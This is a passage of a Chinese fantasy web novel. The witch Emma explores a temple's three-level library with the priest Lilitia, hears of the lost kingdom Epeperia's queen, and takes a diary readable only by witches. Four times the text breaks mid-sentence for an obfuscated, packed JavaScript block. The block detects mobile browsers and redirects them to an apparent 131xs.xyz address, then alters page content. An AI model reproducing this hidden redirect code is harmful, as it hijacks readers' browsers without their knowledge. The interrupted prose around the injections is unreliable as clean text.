访问者或站或坐在书架边,环境安静,他们大多沉溺于自己手上的书本,即使抬头望见有人进来,也没分出多少注意力。 利利提亚带着艾玛在最外间的第一层转了一圈。 即使是外间,书目种类数量也相当繁多,小说、科普、历史、神话,从各国各地搜罗来的读物不胜枚举。 如今的书籍普遍是纸本,用“造纸石”制作出的“石纹纸”虽然仍有许多缺点,但由于原料易于获取,数量庞大,在大陆的角角落落都能轻易找到,还是势不可挡地普及开来。 不同产地来源的造纸石性质各异,造出来的纸张也特性不同。有的纸质不利于书写,墨水在表面难以干燥,或墨水痕迹无法长久留存。 而最显著的常见问题是:石纹纸容易腐朽,像树叶凋落后会枯败一样。 因此书籍的保存管理是个困难活计。有的书一旦离开产地,就会迅速变得脆弱易坏。 研究它们的用纸材质和墨水成分,再根据不同的保存条件分门别类地管理,都是非常精细的工作,维护成本很高。 许多珍贵的书籍初本都被严苛地保存着,而在公用图书室和书店能轻易得到的书本,一般是当地造纸石材质的抄本,或通过魔法道具等制作的复印本。 这件藏书室的外间也大多是抄本和复印本,但已经有不少保留着他国材质、需要维护的原本,数量可观,神殿的实力和对待文化传承的态度都可以从中窥见一角。 艾玛在书架间看见了好几个文礼司的工作职员,根据他们的衣着、行为和携带物能够判断出来,他们是在检查和保养书本状态。 但艾玛在某片小说书架差点认错了一次,有位职员在检查过程中看入了迷,直到有人走到附近,他才发现来人不是文礼司的同事,而是自己上级的上级的上级……或许还要再往上算的主祭司。 上班摸鱼被抓到让他顿时有点冷汗涔涔了。 利利提亚很清楚自己带给别人的压力,微微一笑,走了。 艾玛觉得这不是最好的解决方式,明明直说不会在意就好,直接走掉想必会让那位职员提心吊胆好一阵子。 但艾玛想他大概是故意的。 艾玛喜欢各式各样的书籍,从在费拉约尔斯的时候开始,她就对收集不同材质和产地的书本很有兴趣。 其中她最喜欢的几本装进了她旅途的行李,至今仍带在身边,艾玛时不时会用魔法保养它们的状态。 那些纸张之所以被称为“石纹纸”,是因为由不同造纸石所制作的纸张有着不同的纹理,由它们的产地、造纸石本身和制作工艺等多种因素决定。 即使是同一个品类、用相同方式制作的石纹纸,也不会有任意两张有着相同的纹理。 虽然也因此产生被收藏家抬高某些石纹纸品类的价格、赝品争先恐后涌出的情况。 也有人呼吁为了消除差别增进平等平价实用性,给石纹纸增加涂层,覆盖纹理并使其更适应多种墨水,并可以更好地防止纸张朽坏。 涂层的涂料经过无数次改进,以白色和米黄为主,更利于纸本的传播和保存,由此逐渐推行开来。 因为没有了石纹,被直呼为“纸”或者“白纸”。 艾玛觉得白纸制作的书本能让人更集中于内容本身,但只有石纹纸上能应用的一些巧思也就在这种普通性里消弭了,她为此感到可惜。 艾玛有时一本书会读上三四遍,第一遍是为书上的内容,后面几遍往往在阅读之余欣赏纸上的石纹。 那些无言地叙说着它们过往、记载着时间与历史的独一无二的纹理,仿佛石块自己亲笔书写的手稿。 艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246111|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛平日里更喜欢使用石纹纸,在费城时的笔记和草稿基本都是石纹纸材质。 自己写过的东西或许会随着时间和纸张一起腐朽,回归土地,艾玛觉得,这也是一种很好的结局。 走在藏书室的书架间,艾玛停留了好几次,因为好奇驱使而翻阅了几本书。 这里的藏书背面有着借书卡,写着上一个人的借阅和归还时间,卡上还有借书要求和还书期限。 有些产地的石纹纸制作的书籍可借阅时间更短,借书要求中往往有一条是要求借阅人会保养书本的魔法,或者购置过并能够使用保养书本的魔法道具。逾期归还或损坏需要偿付的价码也一并标了清楚。 艾玛好几次想把看中的书借走,但她很快想了一遍:首先,她还没有神殿的藏书室借阅证,今天是跟着利利提亚进来的; 其次,借太多书很难搬回去,利利提亚大概会说他不介意,但现在还是需要客气一下的时候;最后,她需要借走的是一些更重要、能够改变她目前境况的书。 《南斯比亚鸟求偶记》看起来虽然很有趣,但它显然是本娱乐性质高于学术价值的小说;《布里安迪聚落》,艾玛在旅途中听说过这个地方,对那里的风土人情有点兴趣,而这本书的作者是当地人,有许多深入的了解……但这也不是她目前需要的。 还有比如《阿瓦托芬花卉百种图鉴》《教你制作泰伦迪虹光陶塑》《海豹回家之路》看起来都很有趣……虽然很有趣。 艾玛不介意在阿瓦托芬多停留一段时间,但是还有其他事需要去做,现在显然不是任由好奇心大肆发散的时候。 利利提亚从艾玛克制的心动和决绝地放回书本的重复行为里看出她的不舍,自然体贴地建议,他完全不介意当艾玛的搬书架,还书日期也不是大事。 艾玛还是回绝了。 心里的打算是一回事,艾玛仍然忍不住在一些书架前停下脚步,抽出看中的书扫上两眼。 直到她翻阅某一本书时,一般会在旁边保持安静等待她的利利提亚开口说:“您对这本有兴趣吗?” 《信仰论》。很朴素的书名。 艾玛看中这本书是因为书封的材质,内部用的是石纹纸,看起来翻印版本很少,虽然产地在其他地方,但保存难度很低。 这本书安放的书架上都是差不多的主题,讨论信仰学说和神明是否存在、以什么形式存在这之类的创作。 利利提亚说:“这本我正好看过,有些观点很有意思,在同类作品中算是值得一看。您如果需要借走,记我的名字就行。” 艾玛本来想一如往常地回绝,就翻到了那本《信仰论》的背面。 借书卡上寥寥两三条名字,最后一个借阅人是“利利提亚”,借书时间在1390年,四年前。 那还真是够冷门的。艾玛想。 他借了这本书三个月,还超出了还书时间。 利利提亚难得开口推荐,艾玛又想了想,最终决定不拂他的面子。她本来也对这本书有点兴趣,就顺着接下了这份好意。 67.艾佩庇里亚 在第一层的最外间简单浏览了一遍之后,他们走到第二层的门前,同样有职员看守登记。 利利提亚从腰间取下一把钥匙,钥匙柄上镶着一块半透的深蓝魔法石。 他将钥匙对准锁孔,石块上有一瞬的闪光,便听见门上咔嗒一声。 利利提亚替她推开了门,但出于对那道看着沉重的厚门材质的好奇,艾玛仍然把手按到了门上。摸起来是石头的触感,推着出乎意料的轻。 第二层的房间比外层更安静,工作日的下午不是人流多的时候,这时有空来这里的祭司显然没几位。 不同于第一层挂满吊灯壁灯、明亮的偏黄灯光,第二层一下子昏暗很多,书架最高一层上均匀地缀着几盏幽暗的小灯,控制明暗度的线绳垂下来,像低下头的花里伸出的长长的蕊。 二层进门后的门口也有职员管理,向来访的祭司提供暂时出借的魔法灯具。 利利提亚用手链上会漂浮发光的魔法石达到了同样的效果,将它摘下之后,那魔法石仍然会跟着手链的主人移动,炽白色的光线柔和,足够明亮。 走道间的灯更亮些,大约为了降低方向感不佳的祭司的认路难度。 利利提亚方向感很好,娴熟地向艾玛介绍了书籍种类的分区。 艾玛从书架中抽出一本,藏书室第二层的书籍保存模式明显不同了。 直接裸露在外的书变少,更多书本都装在一层透明盒子般的包裹中,是魔法的效果。 透明盒子分了两层,打开其中一层,能拿出一本薄薄的册子,显然是当代的装订。 册子里概括记述了盒子另一层中藏本的具体内容,划了些内容要点,作者来历,书籍的出产国和材质介绍,好一本详细体贴的说明书。也有些说明书轻薄,不那么详细,看来对应典籍的研究价值和受欢迎程度不同。 除了纸本,这里开始出现更多石纹纸出现前时代的文字载体。 有动物的皮、各式织物、树皮木轮和叶子等为载体材料的本册或单页,字体繁多,源自不同的语言,附带的说明册同时是它们的译本,也有的仍待破译。 还有的文字凿刻在岩石兽骨上,只有简单的句子或词语。 文礼司把这样的藏品装进展柜,摆在藏书室的各个角落,直接在展柜上注明了译文。 艾玛看到被摆放在展柜中的一块兽骨,原本白色的表面因时间流逝而发黄,被刀削切过的平面上刻着几道深而锐的划痕。 看不懂的文字像在尖叫,又在不知多少年后投下的魔法灯光与寂静的展柜之中,无声无息地归于沉默。 展柜上的铭牌给出了那个词语的译文:“死亡”。 “您好像在找什么书?” 利利提亚从艾玛的行动里判断出她别有目的,但第一层时艾玛走走停停,翻阅的书又多又杂,他没能看出什么门道,“如果知道明确的方向,我或许能为您提供参考。” 艾玛不觉得需要隐瞒自己的目的,利利提亚或许确实能为她提供帮助:“我想要提升自己的魔法。” 利利提亚挑眉,感到轻微诧异:“女巫是神明的使者,天选的魔法师,您在魔法上的天赋和觉知,凡人绝对无法与之相比。您应该更清楚,魔法很难被有意识地进行人为提升,需要依靠机缘和感觉。” “我知道。”艾玛说,“我对魔法的掌握能力确实在逐日增长,但是太缓慢了,距离我想要达到的标准来说,慢得几乎停滞。如果按照现在的速度,我甚至不能确保,它是否有一天会达到我需要的强度。我不能只是等待。” “‘停滞’吗……”利利提亚顿了顿,“我也曾经有过这样的阶段。魔法依靠于人的‘想象力’‘认知’‘信念’等等精神上的抽象要素,如果魔法师产生了‘停滞不前’的感觉,那么更大的可能,是您在心理上有什么障碍困扰。” “你的意思是,看点心理和哲学方面的书或许有帮助?”艾玛认真地思考了一下。 “或许有吧。”利利提亚说,“但您显然知道困扰自己的是什么。没有什么比直接解决那个问题更有效了。” “我知道。但我正因为自己的魔法没有强到足够解决那个问题而困扰。” “连您都要为之困扰的魔法问题,那还真是巨大。”利利提亚问,“这是您来到神殿的目的?” “是的。”艾玛没有避讳。 利利提亚沉思了一会儿,对艾玛抬起眼睛,看着她的表情:“您有没有听说过‘艾佩庇里亚’?” 艾玛稍微想了一下:“我听过这个名字,一个传说中的国家,很著名。那里诞生了很多独特的魔法、书籍、艺术品,诸多后来者都受到了它们的影响。市面上流传着很多据说来自那个国家的‘宝物’,但真假参半,仿制品众多,难以分辨。” “是的,艾佩庇里亚曾辉煌一时。那个时期的历史记载里,无数的能人异士向她的首都推罗汇聚,整片大陆上的人都仰慕她的荣光。 “有诗人夸耀她的美名,‘天之国,地之殿’‘黄金之都’‘奇迹之地’。这样的赞誉,数不胜数。 “这样一个穷极一切荣耀的王国——是一夜之间覆灭的。” 艾玛动了动眉毛。 “没有人知道怎么回事,艾佩庇里亚的覆灭至今仍是一个谜。 “不夸张地说,她的灭亡导致了大陆上经济、制造、魔法技术等各个方面的倒退。艾佩庇里亚的奇迹凌驾于整片大地之上,没有任何国家能够复现。 “统治那个国家到最后的,是一位神秘的女王。最后已经没有人说得出她的出身来历,从艾佩庇里亚遗留的史书和民间故事里,对她的描述众说纷纭: “有人说她是一位仁慈的女王,有人说她是暴君;有人说她多情浪漫,有人说她专一且忠贞不渝;有人说她温柔和善,美丽胜过妖精,也有人说她性情残忍,因为形容可怖而闭门不出。 “后世史书上对她的形容多是自相矛盾,但只有一点,没有任何疑义。 “——那位神秘的女王,是一位强大得举世无双的魔法师。她铸就了艾佩庇里亚几十年的辉煌和稳固,没有人不为之震慑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246112|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利利提亚停下来:“这形容让您想到了什么吗?” 艾玛问:“那位女王是女巫吗?” “果然,都会这么想。”利利提亚遗憾道,“知道女巫存在的人都有这样的疑问。” “根据历史记载,那位女王陛下执政时期,日神神殿有女巫在位,而月神神殿否认了与那位女王的联系。牧神女巫来去无踪,海神的领域,我们更是全然不知,无法考证。所以,那位女王的身份也和艾佩庇里亚的覆灭一样,都是没有人解得开的谜。” “但仍然有些事是可以确认的:强大到那种程度的魔法师,必然与神明有所联系。 “日神神殿和月神神殿都对艾佩庇里亚的遗留有过干涉,回收了一些记载有‘重要信息’的文字和物件,所以艾佩庇里亚流落在外的历史资料都残缺不全。 “我从小看过很多艾佩庇里亚的故事,成为祭司之后,也翻阅过这里收藏的有关资料。我曾以为这些资料就是答案,直到看完它们才知道,神殿也没有完整的真相。但神殿所隐藏的‘真相’里,全部指向一件事—— “‘艾佩庇里亚的灭亡,绝对与那位女王有关’。” “‘未解之谜’啊。”艾玛说。 “很有挑战吧,我以为您会有点兴趣呢。”利利提亚笑。 “听起来是个令人好奇的故事,但那么多人没能解开的谜题,我也没有头绪。” “谜题不是重点,对您或许有更高价值的,是‘那位女王’的事。”利利提亚说,“即使没有充足的证据,神殿也依然倾向于认为她是一位女巫。” “根据您的描述,我想,您所追求的‘强大’,恐怕得是那种程度。实际存在过的魔法师之中,那位女王陛下是我所知道的、最强大的一位。她的故事或许能为您带来启发。” 利利提亚向艾玛指了指方位,比划了一个区域:“那片都是艾佩庇里亚的相关资料,从当时的民俗小说到宫廷记录都有。如果您想对艾佩庇里亚多点不同的理解,比如了解现代对这个国家的看法和猜想,第一层的外间也有相关的作品,种类很多,是散落分布的,得花点精力去找。 “要是您有意向,之后可以试试。相关的书籍里有大量矛盾的说法,因为先入为主而偏信其中一种会不够客观,我就不作推荐了。” “好。”艾玛点头,“谢谢,我会试试看的。” 他们走到了第二层藏书室的深处,最内间的门在不远的位置。 在第三层门前最后的几排书架中,一点明亮的灯光引起了他们的注意。 书柜边上架着一把撑开的人字形长梯,与一般用于帮助人取书的梯子不同,经过改造,长梯顶端安了把椅子,扶手的位置改装成了一张横向的桌板。 一位老妇人正坐在椅子上看书,书柜顶端的小灯向她垂着头。 注意到有人经过,老妇人从书上抬起目光,灯盏的反光滑过她的单片镜,露出背后冷淡而锐利的眼。 利利提亚向书架内走了两步,朝她行了一礼:“下午好,图伦女士。” 68.第三层 图伦没有搭理他,视线径直落到他身后的艾玛脸上,默默地注视了好一会儿。 利利提亚没在乎有没有回应,行完礼便流畅地转向艾玛,介绍道:“这位是图伦女士,议会‘前六席’成员之一。 “图伦女士是藏书室的看守人,博览群书,通晓多种语言,擅长古籍翻译和修复,是位出色的历史学家。如果我们要进入第三层的内间,需要得到女士的同意。图伦女士,这位是——” “我知道。” 没等利利提亚再转向图伦介绍艾玛,图伦毫不留情地打断了他。 她坐在椅子上,前倾了一些身子,向艾玛低下头,微微颔首。动作简单,却有种不失郑重的认真:“您好。” 艾玛轻微的一愣,也点头回礼:“您好。” 图伦行完礼,重新靠上椅背,又将目光落回了书本。 这次话是对利利提亚说的,但头都没抬:“今天是我值班。你知道流程,自己在门口登记。又不是没钥匙,还要我同意什么。” “打扰您了。”利利提亚回了告辞的礼,转头对上艾玛的目光时,适时地露出了一点无奈。 第二层的藏书室和第三层的门之间有一个缓冲的弧形房间,以一面帘子相隔,房间内搁置着少量用具,一张放着笔册和燃烧提灯的桌子,桌上还有一个时钟。 利利提亚在桌面的登记册上签了时间和名字,补了两笔事由,拿出了先前那把镶着蓝色魔法石的黄铜钥匙。 “有资格进入藏书室内间的人屈指可数,所以到了这时候,登记反而依靠自觉,不怎么审核……虽然,也看值班的看守人是谁。图伦女士最讨厌过场和麻烦,我们打扰到她的清净,反而惹她不高兴了。”利利提亚对图伦的态度缘由做了简单的补充。 这次距离够近,艾玛看见了他将钥匙碰到锁孔时发生的变化。 匙柄上的魔法石发出光芒,钥匙的尖端仿佛融化了,变成一块半流动的金色液体,涌进锁孔。艾玛听到厚重的门中传来齿轮咬合、机械运转的“咔嗒”声。 “咔嗒、咔嗒”,轻快的开启声,迅速而有序地在门中蔓延开一片,要是不仔细听,只能发现它们重叠成的同一道回声。 等那声音消失,不等利利提亚提醒,艾玛也知道门锁已经打开。 看着厚重的石门依然很轻。和第二层的门相似,但第三层的门应该更复杂。 艾玛判断,或许是门内部装了什么东西,通过认证的钥匙改变了它的结构,让打开的门一下子变轻了。 但如果尝试解锁的不是正确的钥匙,那门里的沉重所回馈的“拒绝”,恐怕不是不请自来的客人所能轻易承受的。 艾玛推开门,迎面来的却不是意想中的昏暗,甚至比布满灯盏的第一层更为明亮。 仿佛这门通向出口,直接开在了天空之下。 第三层的最内间比外面小上很多,它的墙壁和天花板上嵌满大大小小的石块。 有的大如伞盖,有的小似芝麻,有的发着光,有的保持着沉默的暗淡,色彩明度不一,颇有艺术感地排列着。 “墙上那些‘装饰’也是这个房间的收藏之一。排列顺序和激活程度都有讲究,不要随意触碰为好。如果要从中取一部分下来,需要花点时间。”利利提亚提醒道。 艾玛点头,她能够感觉到那些特殊排布的“装饰”影响了周围魔力的流动。 墙面上不全都是魔法石,也并非只有在发光的才是活跃的魔法石,虚虚实实,互相影响,彼此交织,竟能保持住一个稳定的平衡,设计这个结构的魔法师非常厉害。 墙面镶嵌的除了魔法石之外,还有些在外界也会被视为极品的珍贵宝石,颇有历史来历的冠冕器具,装裱过的古老字画,以及各式各样闪耀着诱人光彩、不知底细的宝物。 艾玛远远站着打量了一会儿,评价:“像什么藏宝洞或者魔窟。” “我也觉得,这陷阱是不是做得太明显了呢?能瞒过前面所有关卡闯进这个房间的不速之客,如果还会被这些奇珍异宝所吸引,而忽略这里真正有价值的东西,那都不知道该为谁而悲伤了。” “即使是陷阱,也够大手笔了。墙上那些‘诱饵’都是货真价实的宝藏,被它们迷了眼睛不算冤枉。对有的人来说,财宝确实比这里藏匿的秘密珍贵。” 利利提亚笑着眯了眼睛:“弗里蒙斯先生不太喜欢这里,他说每次进来都觉得心惊肉跳,好像有无数的眼睛和看不见的鬼魂盯着他似的。呵呵,这里哪有那种东西呢。 “菲提倒觉得这里不错,她是个大胆的孩子,又是好奇心强烈的年纪,听说一进来就想从墙上扣东西,把弗里蒙斯先生吓得不轻。 “但她只来过一次,就不愿再来了。她说,‘设计这个房间的人不欢迎任何人’。您觉得呢?” “‘充满戒备’。但如果有作为一个礼貌客人的自觉,这位设计者也没那么不近人情。”艾玛浏览完墙面,对利利提亚道,“姑且一问,设计这个房间的人是?” “我记得最初的设计者是……神殿的第六任月神女巫。因为设计过于复杂,后来只能由接任的女巫进行调整和加固。” 出自女巫的手笔,难怪。 艾玛抓到其他重点,问:“‘第六任’?” “最后一位在阿瓦托芬过世的女巫殿下是第八任,也已经是两百多年前的事了。不是所有月神女巫都会来到这里,停留后不再离开的更是极少数。 “魔法术式是设计者性格的彰显,从这房间的结构,想必您也能稍微看出那位女巫是个怎样的人。” 艾玛看了看他:“你不觉得不自在吗?” 利利提亚笑了笑:“我是个知道这里真正价值的客人。保持礼貌,不将目光停留在陷阱上的访客,是不会感受到房间主人的敌意的。” 艾玛点头,走向书架:“不过,还是有点晃眼。” “作为‘藏’书的地方不错,作为看书的地方确实太热闹了。”利利提亚跟到她身后,“等您找到需要的书,我们就早点离开吧。” 和富丽堂皇的陈设相比,房间内的书架实在过于淳朴,虽然附加了魔法,表面有着少量维持法术效果的雕刻,但做得隐蔽而低调。 书架的材质是各种不同的石料,颜色单调,书本安放井然有序,盯一会儿能让人静下心来。 艾玛摸过石制书架坚硬的表面,感觉手心中冰凉。 离门口最近的书架侧面上雕着一串数字,在深色的凹痕里填进了浅色的石粉,刻的是——“1371-” 外两层藏书室的书本按照图书题材、内容、材质等要素分区,常规的藏书室布局标准都是这样。 但第三层里的分区标准只有一个:这份文字载体所诞生的年份。 “造纸石”在千年前就已被发现,但如何正确而便利地运用它,是个持久的议题。 最早用它造出的纸张也仍然不便书写、难以久存,将近九百年前才出现了较为稳定的“石纹纸”,得到足够改良后普及更是只有五百年。 此前的“书籍”形式更多种复杂,保存下来的也更稀少。许多价值深远的“书籍”经过后人转译、抄录而流传至今,而作为信息源头的原本,大多因为载体材质早已腐朽。 而这间藏书室中所保存的,显然不止眼前这个时代的文本。 距离门口最近的书架,内容也最新,“1371”的年份后还跟了个延续符号,像是 “未完待续”的声明。 书架上只有半满的书,看着还很空旷。 艾玛指尖摸过那个年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259318|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份雕刻的凹槽:“‘1371’,正好是我出生的年份。” “是吗?那真巧,上一个书架正好在1370年放满。”利利提亚惊讶地想了想,“我是1369年出生的。虽然有猜测我和您年纪相差不大,但是比想象里更接近呢。” “比我大两岁。”艾玛算了算,“你的生日在几月份?” 利利提亚开玩笑般说:“回答这个问题之后,我能收到您送的生日礼物吗?” “我的生日在二月二十六。”艾玛坦然道,“好了,你可以说了,之后记得送我生日礼物。” “您今年的生日已经过了……看来我还有很长时间可以好好准备。”利利提亚回答,“如果说我出生的日期,实际是1369年的一月二十四日。但我来到阿瓦托芬在1389年的十一月十三,现在我把这个日期作为自己的生日。” “那我得更早一点送你礼物了。” “这或许就是我改过生日的好处。”利利提亚笑道,“我会期待的。” “话说回来,这里的书太多了。”艾玛将目光落回一排排的书脊,“只有年份,没有内容分区,要查找很不方便。” “文礼司有专门负责维护保养这里藏品藏书的部门,他们有内容物的详细清单。但由于第三层藏书室内的收藏物都是机密,不能轻易外传,他们只在工作室留了档,没有另存的复印件。即使是主祭司和议会,如果需要查找这里的什么东西,也得到那边去翻存档。” “没有备份的风险很大。如果工作室或者藏书室这边其中一个出了意外,要找线索会很困难。” “这也是一种‘信仰’。”利利提亚笑笑,“‘绝对信任女巫’,他们绝不怀疑女巫所遗留的设计的安全性。” “沉重的信任。”艾玛在抽出的书上翻了两眼,“那你有什么推荐吗?比如年份。” “主祭司在得到进入这个房间的资格前获得过一些基础介绍和提醒,但我实在没到能记住这边哪里有什么书的地步。如果有明确的目标,到文礼司去查找目录更有效率。但是,我们今天都已经在这里了。” 利利提亚想了想,“事已至此,不如——就依靠您的直觉吧。” 艾玛说:“听起来还真像魔法师会说的话。” 利利提亚笑:“我也很想见识见识,‘女巫的直觉’能做到什么程度。” “说得也是,如果感觉不出来,就枉费你恭维我这么多了。” “我可没有给您施加压力的意思。” 艾玛结束这玩笑意味的调侃,从书架边走过,书架上的年份从她身旁一格一格地倒流。 艾玛没有往身边多看一眼,手指在空中虚点,一下一下划过整排书柜。 “没有。没有。这边,没有。” 千年的时间在她身侧湍急地倒流,涌回原点。 艾玛停在第三层房间的尽头,想了想,又转回身,从最早的书柜开始计数。 时间又开始正向流淌。 “光明历,元年,0-27” ——“109-123” ……“142-156” ——“273-291”。 艾玛停住脚步,手指抚上“273”的年份数字。 石制的书架表面触感冰凉。藏书室内是寂静的,访客脚步声的回音方才落定。 书籍上有隔绝环境的魔法,像是于一个个狭小的盒子中沉眠,连盒中的温度都量身定制,而盒子外仍然弥漫开无生机的寒意。 艾玛看着那过去的、遥远的年份,延续符号之后的空白早被填上答案,昭示完结。 像是墓碑和棺材,或者传说中装载着一个时代漂向未来的方舟。 艾玛走进书架间,对利利提亚说:“在这里。” 69.信者 利利提亚诧异地跟到书架边上,确认了年份。 艾玛对着满柜书本沉思了片刻:“只能感觉到这里。我的直觉说,‘从这里开始寻找最好’。你有什么提示吗?” “……还真让我想到了什么。”利利提亚的声音里带着赞叹,“我想为您鼓个掌了。” 艾玛侧开身子,让他走进书架间来找。 利利提亚在书架间徘徊了片刻目光,抽出了一本书。 那是本厚厚的纸稿集,被妥善地装订保管,但侧边的毛边仍然透出极重的手工痕迹。 艾玛望过去,除了时代所限的材质装订,她乍看下没觉得特别。第三层的书本上都有魔法防护,摆放又如此密集,对艾玛来说信息多得太过嘈杂,一时很难体会其中的细微差异。 利利提亚端着书,展示般竖在她面前:“您看到封面上写着什么?” 艾玛有些困惑,对着书封端详了一会儿。 封面用的是通用文字,不过字体古老,是尚未改良完毕的版本。 “标题是‘日记’,右下角有个签名,”艾玛顿了顿,花了点时间分辨,“签名用的是方言……‘奥辛莱特’。” “不愧是‘女巫’。”利利提亚感叹,“在我看来,这本书的封面上什么都没有。” 艾玛一愣,才缓慢地从这本书上感到一些奇妙的违和。 她从利利提亚手中接过它,书侧有着锁一般的设计。她随手试着翻开,没抱打开的希望,那锁却轻易地滑开了,啪一声落到地上。 书页哗啦啦地翻开,在没有风的房间里缓慢地转动和停滞了片刻,不同颜色墨水写就的文字映入艾玛眼帘。 利利提亚的声音说: “‘女巫的日记’,也被称为‘无字书’。” 但书上分明有字,每一笔都是亲手写就的,一行行字迹甚至有偏斜,没有后来版刻印刷的规整。 看出艾玛的困惑,利利提亚点头:“是的,我现在仍然无法从您手中翻开的书上看到半个字。” “是女巫的法术?”艾玛低下目光,细细地观察了好一会儿,“没有庞大的魔力痕迹……非常精巧,好厉害的设计。它的判断标准是什么?” “‘只有女巫能够看到这本书上的字’。”利利提亚拾起地上的锁,“您找到‘273’这个年份的时候,我就有点想到了。这是第三任月神女巫‘奥辛莱特’来到阿瓦托芬的日期。 “我本来没想现在就把它交给您,从规矩上来说,‘女巫的日记’即使在这整个房间里都是最特别的藏品,只有‘神殿的女巫’有资格借阅,而您还没有决定留在神殿。” 艾玛合上书:“那我先把它放回去?” “但,您看——日记上的锁已经打开了。只有女巫打得开的锁,也只有女巫才知道怎么装回去。您要是不知道这把锁上用的是什么法术,那就难办了。 “不过,日记里肯定有记载,那只好等您看完这本日记再处理。” 利利提亚把锁放到书架间多出的空隙来,向艾玛狡黠地眨了眨眼睛,“规矩是规矩嘛。” “不用我把锁也带走?” “锁是‘不小心’留在这里的。等您回到这里,还回这本日记的时候,要是不小心打开了别的什么藏书的锁,而那把锁上的法术有着微妙的不同——那也没办法,是不是?” “真熟练啊。”艾玛说。 “不瞒您说,我从小在翘课请假找借口上颇有心得。”利利提亚微笑,“但借口就怕被人戳穿,还是做得低调点好。现在抓紧离开的话,图伦女士说不定不会发现。” 艾玛不含贬义地评价现状:“像做贼。” 利利提亚笑起来:“不是很有趣吗?” “嗯,”艾玛说,“谢谢。” “因为这种要被议会抓去写检讨的事而被您感谢可真不敢当。”利利提亚声音里的笑意和话中的内容全然相反,静悄悄隐没在书架间的阴影里,泛着轻盈的亮光。 艾玛表现了自己的担当:“要是真被发现了,我帮你写一半检讨。” 利利提亚压着喉间一半的笑声,说:“好啊。” 艾玛其实不觉得这事严重,她向来没什么紧张感。 但退一百步想,做错事来得及道歉;退一百万步讲,有一天在这里闹出什么大事,艾玛也有信心和西里斯一起跑路。 这么想完,更加觉得不必紧张得有理有据。艾玛散漫地思考着。 她去过许多不同的地方,见过许多一眼美好的假象,最初对她关怀备至的人,实际别有用心,这种事也不算稀奇。但目前为止,艾玛没在阿瓦托芬感到类似的东西。 这里的人对女巫的尊敬和客气让她感到陌生,却不让人难受。还有,“月神”和这里的联系…… 总的说来,阿瓦托芬没有任何让艾玛感到紧张的要素,反而即使遍地是尚且陌生和不理解的事物,这里的环境仍然让她感到放松。 但刚走出藏书室第三层内间的门,就看到图伦正坐在门边的登记桌旁看书,这感觉仍然有种让人心头一凛的突然。 艾玛没有上过公共学堂,但记得凯曾经向她绘声绘色,自己如何在数学课上偷看小说被老师抓包。 艾玛和利利提亚对视了一眼,都不动声色。 图伦也没抬头,点了点桌子:“登记。” 利利提亚根据桌面时钟的显示,在登记册上写了出门的时间,但没有写借了什么书,对图伦解释说:“那是在第一层借的书,我们出去的时候会登记。” 图伦抬起目光,在艾玛怀中的书上扫了一眼,便嗯了一声,不在乎地回头去忙自己的了。 走出几百米之后,艾玛才问:“她发现了?” “发现了吧。”利利提亚没犹豫地回答,“图伦女士可是这个领域的专家,书上有什么样的魔法,她一眼就知道了。” “但是没有戳穿。” 利利提亚沉吟了一下:“议会内部也不是完全一致。比如,在提前让您拿走女巫日记这件事上,德丽克丝女士或许会反对,而图伦女士选择睁一只眼闭一只眼,看来她对德丽克丝女士的某些举措并不赞同。人心真是奇妙,这种细微的地方难以预判,只能说,我们运气不错。” 第三层的内容是机密,藏书室前两层的管理员都没有对他们多做追问。 利利提亚在第一层的出口正常登记了那本《信仰论》,借书凭证编码一栏写了个极其简短的“Ⅰ”,用的是古数字,和借书单同一列上下的一串串现代数字对比,差异格外显著。 从藏书室走出来之后已经是傍晚,夕阳橙红色的光芒倾倒在走廊。 利利提亚拿出那把镶着蓝色魔法石的黄铜钥匙,递到艾玛手上:“这把钥匙就给您吧。只要带着它,您随时可以自由出入藏书室借阅图书。第三层的看守人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263508|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定知道女巫的事情,无论是谁值班,都不会拦着您。” 